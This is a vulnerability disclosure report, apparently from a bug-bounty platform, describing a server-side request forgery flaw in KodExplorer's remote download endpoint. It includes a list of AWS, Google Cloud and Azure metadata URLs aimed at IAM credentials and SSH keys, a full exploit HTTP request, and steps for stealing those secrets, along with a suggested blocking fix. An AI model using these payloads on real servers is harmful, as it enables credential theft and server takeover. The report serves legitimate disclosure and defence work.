Server-Side Request Forgery (SSRF) in kalcaddle/KodExplorer

Valid
Reported on May 17th 2021

💥 BUG

SSRF to get cloud server metadata and possible to hack the server

💥 IMPACT

lower level user can hack kodexplorer server server if hosted in AWS,alibaba or google cloud .

💥 SUMMURY

Aws,Azure,alibaba,digital-ocean or google cloud provide special api url to fetch the server metadata .

AWS:
http://instance-data
http://169.254.169.254
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/iam/security-credentials/PhotonInstance
http://169.254.169.254/latest/meta-data/ami-id
http://169.254.169.254/latest/meta-data/reservation-id
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/public-keys/
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
http://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy
http://169.254.169.254/latest/meta-data/iam/security-credentials/s3access
http://169.254.169.254/latest/dynamic/instance-identity/document\


Google Cloud:
http://169.254.169.254/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/
http://metadata/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/hostname
http://metadata.google.internal/computeMetadata/v1/instance/id
http://metadata.google.internal/computeMetadata/v1/project/project-id\


Azure:
http://169.254.169.254/metadata/v1/maintenance
http://169.254.169.254/metadata/instance?api-version=2017-04-02
http://169.254.169.254/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text\

Using the above above api user can get server metadata like AWS secret key,api,ssh key etc .
If a server hosted in aws,alibaba,digital ocean or google cloud then using those api user can get server Secret key and get remote-code-execution.
So, those url must be verified and blocked . In in kodexplorer there is bellow endpoint to upload remote file . So, attacker can fetch the AWS secret key using this endpoint .

GET /kodexplorer/index.php?explorer/serverDownload&type=download&savePath=/desktop/&url=http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key&uuid=uuid_1621185002_9537&time=1621185002 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Linux; Android 8.0.0; SOV37) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.101 Mobile Safari/537.36
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-CSRF-TOKEN: BxFpUNiEKcgSu9aMYhcZ
X-Requested-With: XMLHttpRequest
Referer: http://localhost/kodexplorer/index.php?desktop
Connection: close
Cookie: .........

here the vulnerable parameter is url parameter

💥 STEP TO REPRODUCE

Lets assume kodexplorer is hosted in amazon AWS ip .
so, the metadata url will be
http://instance-data
http://169.254.169.254
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/iam/security-credentials/PhotonInstance
http://169.254.169.254/latest/meta-data/ami-id
http://169.254.169.254/latest/meta-data/reservation-id
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/public-keys/
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key

  1. From admin account invite user B as demo user.
  2. Now user B sent above request and change url parameter value in above postdata to above metadata api url .
  3. Now server will fetch that AWS url and get all AWS secret key,openssh-key,public-key etc .And the response will be saved in a file in Desktop(see above request that savePath parameter is set to /desktop/).
  4. Now user B can download the response file from Desktop and get all AWS secret key ,ssh key etc . Now user B can ssh login into this server using above ssh key .

Also user B can access internal network using url like http://127.0.0.1 in the above url parameter

💥 REFFERENCE

https://blog.appsecco.com/server-side-request-forgery-ssrf-and-aws-ec2-instances-after-instance-meta-data-service-version-38fc1ba1a28a
https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html
https://hackerone.com/reports/53088\

https://hackerone.com/reports/508459
https://hackerone.com/reports/341876
https://hackerone.com/reports/409701

https://gist.github.com/jhaddix/78cece26c91c6263653f31ba453e273b
https://ab-lumos.medium.com/ssrf-attack-on-aws-technical-demo-for-stealing-ec2-metadata-4910dafafdee
https://blog.christophetd.fr/abusing-aws-metadata-service-using-ssrf-vulnerabilities/

💥 SUGGESTED FIX

before fetching url must be verified against above metadata url .
You should implement request blocking if url match above metadata api url .